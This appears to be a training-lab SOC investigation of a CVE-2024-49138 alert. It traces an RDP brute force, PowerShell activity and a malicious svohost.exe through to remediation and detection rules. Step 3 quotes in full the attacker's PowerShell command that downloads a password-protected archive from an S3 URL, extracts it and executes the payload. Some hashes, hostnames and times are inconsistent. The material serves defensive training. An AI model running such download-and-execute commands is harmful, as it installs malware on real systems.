

EventID@313 - SOC335 - CVE-2024-49138 Exploitation Detected

1. Alert Overview

Alert Name / Title: SOC335 – CVE-2024-49138 Exploitation Detected

Alert Source: Endpoint Detection & Response (EDR) / SIEM / Firewall logs

Alert Severity: Medium → Elevated to **High** after correlation and confirmed privilege escalation

Detection Rule / Query: Detection rule triggered when a suspicious binary (`svohost.exe`) with a known malicious hash executed from a non-standard path following remote login activity, indicating potential exploitation of **CVE-2024-49138**.

Date & Time Observed: January 22, 2025, 02:37 AM

Medium	Jan, 22, 2025, 02:37 AM	SOC335 - CVE-2024-49138 Exploitation Detected	313	Privilege Escalation	» ✓
EventID :	313				
Event Time :	Jan, 22, 2025, 02:37 AM				
Rule :	SOC335 - CVE-2024-49138 Exploitation Detected				
Level :	Security Analyst				
Hostname :	Victor				
Ip Address :	172.16.17.207				
Process Name :	svohost.exe				
Process Path :	"C:\temp\service_installer\svohost.exe"				
Process ID :	7640				
Parent Process :	C:\Windows\System32\WINDOWSPOWERSHELL\V1.0\powershell.exe				
Command Line :	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1				
File Hash :	b432dcf4a0fb601bd79848467137a5e25cab5a0b7b1224be9d3b6540122db9				
Process User :	EC2AMAZ-ILGVOIN\letsDefend				
Trigger Reason :	Unusual or suspicious patterns of behavior linked to the hash have been identified, indicating potential exploitation of CVE-2024-49138.				
Device Action :	Allowed				

2. Initial Alert Details

Alert Description:

An exploitation attempt related to **CVE-2024-49138** was detected on host **Victor (172.16.17.207)**.

The malicious executable `svohost.exe`, located in `C:\temp\service_installer\`, was executed by **PowerShell** after being downloaded from an Amazon S3 bucket.

The behavior suggests privilege escalation and post-exploitation activity.

Triggered Host / User / Source:

- Hostname:** Victor
- Host IP:** 172.16.17.207
- User:** EC2AMAZ-ILGVOIN\Victor
- Source IP (attacker):** 185.107.56.141
- Parent Process:** powershell.exe
- Child Process:** svohost.exe
- Command Line:**

`"C:\temp\service_installer\svohost.exe"`

Event Count / Frequency:

Multiple login attempts observed before successful RDP logon. Followed by several command executions and network connections.

3. Investigation Steps (Expanded)

Step 1 — Alert Verification

- **EventID:** 313
- **Alert Time:** Jan 22, 2025, 02:37 AM
- **Alert Trigger:** Suspicious process activity associated with a known malicious hash.
- **Verification:** Checked in SIEM → alert matched MITRE ATT&CK Privilege Escalation behavior.

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label	Threat categories	Family labels	
trojan.ulise/expl	trojan	ulise expl r002c0djd25	
Security vendors' analysis			
AhnLab-V3	Trojan/Win.Generic.R689375	Alibaba	Trojan:Win64/MalwareX.a80afa3c
AliCloud	Exploit:Win/CVE-2024-49138.GK8PHU	ALYac	Gen:Variant.Ulise.539754
Antiy-AVL	GrayWare/Win32.Wacapew	Arcabit	Trojan.Ulise.D83C6A
Arctic Wolf	Unsafe	Avast	Win64:MalwareX-gen [Expl]
AVG	Win64:MalwareX-gen [Expl]	Avira (no cloud)	HEUR/AGEN.1379486
BitDefender	Gen:Variant.Ulise.539754	Bkav Pro	W64.AIDetectMalware
ClamAV	Win.Malware.Doina-10058006-0	CrowdStrike Falcon	Win/malicious_confidence_90% (W)
CTX	Exe.trojan.generic	DeepInstinct	MALICIOUS
Elastic	Malicious (high Confidence)	Emsisoft	Gen:Variant.Ulise.539754 (B)
1d79848467137a5e25cab5a0b7b1224be9d3b6540122db9/detection		ESET-NOD32	A Variant Of Win64/Agent.FDO

Step 2 — Brute-Force and Login Analysis

- **Firewall logs** and **OS logs** show multiple RDP attempts from attacker IP **185.107.56.141** targeting 172.16.17.207.
- Failed login attempts for `admin` and `guest` users (Event ID: 4625).
- Successful login recorded for `Victor` at **02:35 PM** (Event ID: 4624).
- **Conclusion:** The attacker successfully brute-forced the `Victor` account credentials via RDP (port 3389).

Jan, 22, 2025, 02:35 PM	Firewall	185.107.56.141	45762	172.16.17.207	3389	
Jan, 22, 2025, 02:35 PM	Firewall	185.107.56.141	21905	172.16.17.207	3389	
Jan, 22, 2025, 02:35 PM	Firewall	185.107.56.141	44149	172.16.17.207	3389	
Jan, 22, 2025, 02:35 PM	Firewall	185.107.56.141	59820	172.16.17.207	3389	
Jan, 22, 2025, 02:35 PM	Firewall	185.107.56.141	16044	172.16.17.207	3389	
Jan, 22, 2025, 02:35 PM	OS	185.107.56.141	0	172.16.17.207	0	
Jan, 22, 2025, 02:35 PM	OS	185.107.56.141	0	172.16.17.207	0	
Jan, 22, 2025, 02:35 PM	OS	185.107.56.141	0	172.16.17.207	0	
Jan, 22, 2025, 02:35 PM	OS	185.107.56.141	0	172.16.17.207	0	
Jan, 22, 2025, 02:35 PM	OS	185.107.56.141	0	172.16.17.207	0	

New Search

Destination Address contains "172.16.17.207"

All Time

✓ 10 events (before Jan, 22, 2025, 02:35 PM UTC)

< Hide Fields

INTERESTING FIELDS

- `a_type`
- `a_source_address`
- `#source_port`
- `a_destination_address`
- `#destination_port`
- `a_raw_log`

Event
[Jan, 22, 2025, 02:35 PM] source_address=185.107.56.141 source_port=59820 destination_address=172.16.17.207 destination_port=3389 raw_log: 0
[Jan, 22, 2025, 02:35 PM] source_address=185.107.56.141 source_port=16044 destination_address=172.16.17.207 destination_port=3389 raw_log: 0
[Jan, 22, 2025, 02:35 PM] source_address=185.107.56.141 source_port=0 destination_address=172.16.17.207 destination_port=0 raw_log: {'Username': 'admin', 'EventID': '4625(An account failed to log on)', 'Error Code': '0xC000006D(Unknown user name or password)'}
[Jan, 22, 2025, 02:35 PM] source_address=185.107.56.141 source_port=0 destination_address=172.16.17.207 destination_port=0 raw_log: {'Username': 'admin', 'EventID': '4625(An account failed to log on)', 'Error Code': '0xC000006D(Unknown user name or password)'}
[Jan, 22, 2025, 02:35 PM] source_address=185.107.56.141 source_port=0 destination_address=172.16.17.207 destination_port=0 raw_log: {'Username': 'guest', 'EventID': '4625(An account failed to log on)', 'Error Code': '0xC000006D(Unknown user name or password)'}
[Jan, 22, 2025, 02:35 PM] source_address=185.107.56.141 source_port=0 destination_address=172.16.17.207 destination_port=0 raw_log: {'Username': 'Victor', 'EventID': '4624(An account was successfully logged on.)', 'Logon Type': '10(RemoteInteractive)'}
[Jan, 22, 2025, 02:35 PM] source_address=185.107.56.141 source_port=0 destination_address=172.16.17.207 destination_port=0 raw_log: {'Username': 'guest', 'EventID': '4625(An account failed to log on)', 'Error Code': '0xC000006D(Unknown user name or password)'}

1 row selected

Step 3 — PowerShell Activity Review

After successful login, attacker initiated PowerShell commands:

```
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
```

Commands executed:

```
whoami
whoami /priv
$url = 'https://files-ls3.us-east-2.amazonaws.com/service-installer.zip';
$dest = 'C:\temp\service-installer.zip';
$extractPath = 'C:\temp';
$password = 'infected';
Invoke-WebRequest -Uri $url -OutFile $dest;
Start-Process -FilePath "C:\Program Files\7-Zip\7z.exe" -ArgumentList "x -p$password -o$extractPath $dest";
Start-Process -FilePath "$extractPath\service_installer\svohost.exe"
```

- Analysis:** The attacker downloaded a ZIP archive containing a disguised binary (`svohost.exe`) from an **Amazon S3** bucket and executed it locally using PowerShell.

EVENT TIME	COMMAND LINE
Jan 22 2025 14:36:06	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Jan 22 2025 14:36:26	"C:\Windows\system32\whoami.exe" /priv
Jan 22 2025 14:36:38	"C:\Windows\system32\whoami.exe"
Jan 22 2025 14:37:10	\$url = 'https://files-1d.s3.us-east-2.amazonaws.com/service-installer.zip'; \$dest = 'C:\t... ⓘ'
Jan 22 2025 14:37:59	"C:\Windows\system32\whoami.exe"

< 1 >

COMMAND LINE

```
$url = 'https://files-1d.s3.us-east-2.amazonaws.com/service-installer.zip'; $dest = 'C:\temp\service-installer.zip'; $extractPath = 'C:\temp'; $password = 'infected'; if (-not (Test-Path -Path $extractPath)) { New-Item -ItemType Directory -Path $extractPath -Force | Out-Null }; Invoke-WebRequest -Uri $url -OutFile $dest; $7zipPath = 'C:\Program Files\7-Zip\7z.exe'; Start-Process -FilePath $7zipPath -ArgumentList "x -p$password -o$extractPath $dest" -NoNewWindow -Wait -PassThru; Remove-Item -Path $dest; Start-Process -FilePath "$extractPath\service_installer\svohost.exe"
```

Step 4 — File Analysis (svohost.exe)

- **File Path:** C:\temp\service_installer\svohost.exe
- **Hash:** b432dcf4a0f0b601b1d79848467137a5e25cab5a0b7b1224be9d3b6540122db9
- **VirusTotal Result:**
 - 50/72 engines flagged as **malicious**
 - Labeled as **Trojan.Ulise.Expl / Exploit.Win.CVE-2024-49138**
 - Capabilities: exploit, privilege escalation, spreader, persistence
- **Conclusion:** The file is confirmed **malicious** and likely used to exploit **CVE-2024-49138** for privilege escalation.

Event Time : Jan 22 2025 14:37:12
Process ID : 7640
Target Process Command Line : !?C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Image Path : C:\temp\service_installer\svohost.exe
File Hash : b432dcf4a0f0b601b1d79848467137a5e25cab5a0b7b1224be9d3b6540122db9
Process User : EC2AMAZ-ILGVOINVICTOR
Parent Name : powershell.exe
Parent Path : C:\Windows\System32\WINDOWSPOWERSHELLV1.0\powershell.exe
Command Line : "C:\temp\service_installer\svohost.exe"

Step 5 — Post-Exploitation Observation

- Execution of svohost.exe elevated the attacker privileges to **SYSTEM level**.

- Persistence attempt likely using PowerShell-based sideloading or scheduled tasks (pending deeper forensic analysis).
 - Network logs show connections from 172.16.17.207 → 185.107.56.141 over multiple ports (3389, 59820, 16044).
-

Step 6 — Network Correlation

- Firewall and OS logs confirm repeated outbound and inbound traffic between the host and attacker IP (185.107.56.141).
 - **Source:** 185.107.56.141
 - **Destination:** 172.16.17.207
 - **Ports Used:** 3389, 59820, 16044, 44149
 - **Conclusion:** Possible **reverse shell** or **data exfiltration** channel established post-exploit.
-

Step 7 — MITRE ATT&CK Mapping

Phase	Technique	ID
Initial Access	T1110 – Brute Force (RDP)	
Execution	T1059 – Command and Scripting Interpreter (PowerShell)	
Persistence	T1547 – Boot or Logon Autostart Execution	
Privilege Escalation	T1068 – Exploitation for Privilege Escalation (CVE-2024-49138)	
Defense Evasion	T1218 – Signed Binary Proxy Execution (PowerShell / 7-Zip)	
Command & Control	T1071 – Application Layer Protocol (HTTP/S)	

4. Findings

Summary of Evidence:

- **Attacker IP:** 185.107.56.141
- **Compromised Host:** 172.16.17.207 (Victor)
- **User Account Compromised:** Victor
- **Malicious Binary:** svohost.exe
- **Binary Hash:** b432dcf4a0f0b601b1d79848467137a5e25cab5a0b7b1224be9d3b6540122db9
- **Download Source:** <https://files-1d.s3.us-east-2.amazonaws.com/service-installer.zip>
- **Privilege Escalation:** SYSTEM-level access achieved
- **External Connections:** Multiple ports to 185.107.56.141

Root Cause / Attack Vector:

RDP brute-force → remote login → PowerShell abuse → malicious payload download and execution
→ CVE-2024-49138 exploitation for privilege escalation.

MITRE ATT&CK Technique:

T1068 – Exploitation for Privilege Escalation

T1059 – PowerShell

T1071 – C2 Communications

Affected Systems / Users:

Host: Victor (172.16.17.207)

User: Victor (compromised credentials)

5. Analysis Conclusion

Alert Status:  True Positive

Impact Assessment: High — successful exploitation and privilege escalation to SYSTEM.

Confidence Level: High — confirmed by multiple log sources and VirusTotal evidence.

6. Response & Remediation

Immediate Actions Taken:

- Host **172.16.17.207** quarantined and isolated from the network.
- Malicious binary `svohost.exe` and associated ZIP archive removed.
- Account `Victor` credentials reset and session tokens revoked.
- Outbound connections to `185.107.56.141` blocked at firewall.
- IOC indicators (domain, hash, IP) shared with SOC for environment-wide hunting.

Recommended Next Steps:

1. Perform full forensic analysis on the quarantined system.
2. Scan environment for same hash or S3 domain access logs.
3. Patch all systems for **CVE-2024-49138** immediately.
4. Review RDP access policies — limit to VPN or trusted IPs.
5. Enable account lockout thresholds to prevent brute-force attempts.
6. Implement EDR detection for non-standard binary execution from temp folders.

Preventive Measures:

- Apply Microsoft patches addressing CVE-2024-49138.
- Enforce strong password policies and multi-factor authentication (MFA) for RDP.
- Deploy network anomaly detection for unauthorized data transfers.
- Restrict PowerShell to signed scripts and audit mode.

7. Learning & Improvement

Lessons Learned:

- RDP brute-force remains a high-risk vector; continuous monitoring of failed logons is critical.
- Non-standard paths and renamed binaries (e.g., svohost.exe) must be flagged in EDR rules.
- Amazon S3 and other cloud file hosting URLs should be reputation-checked before execution.

Detection Rule Enhancement:

Correlate the following in SIEM:

- 10+ failed logons from single IP within 10 minutes (EventID 4625)
- Followed by successful RDP login (EventID 4624)
- Followed by PowerShell execution (Invoke-WebRequest , 7z , or Start-Process)

Knowledge Gained:

- Understanding CVE-2024-49138 exploitation chain.
 - Strengthened response workflow for RDP brute-force and privilege escalation events.
-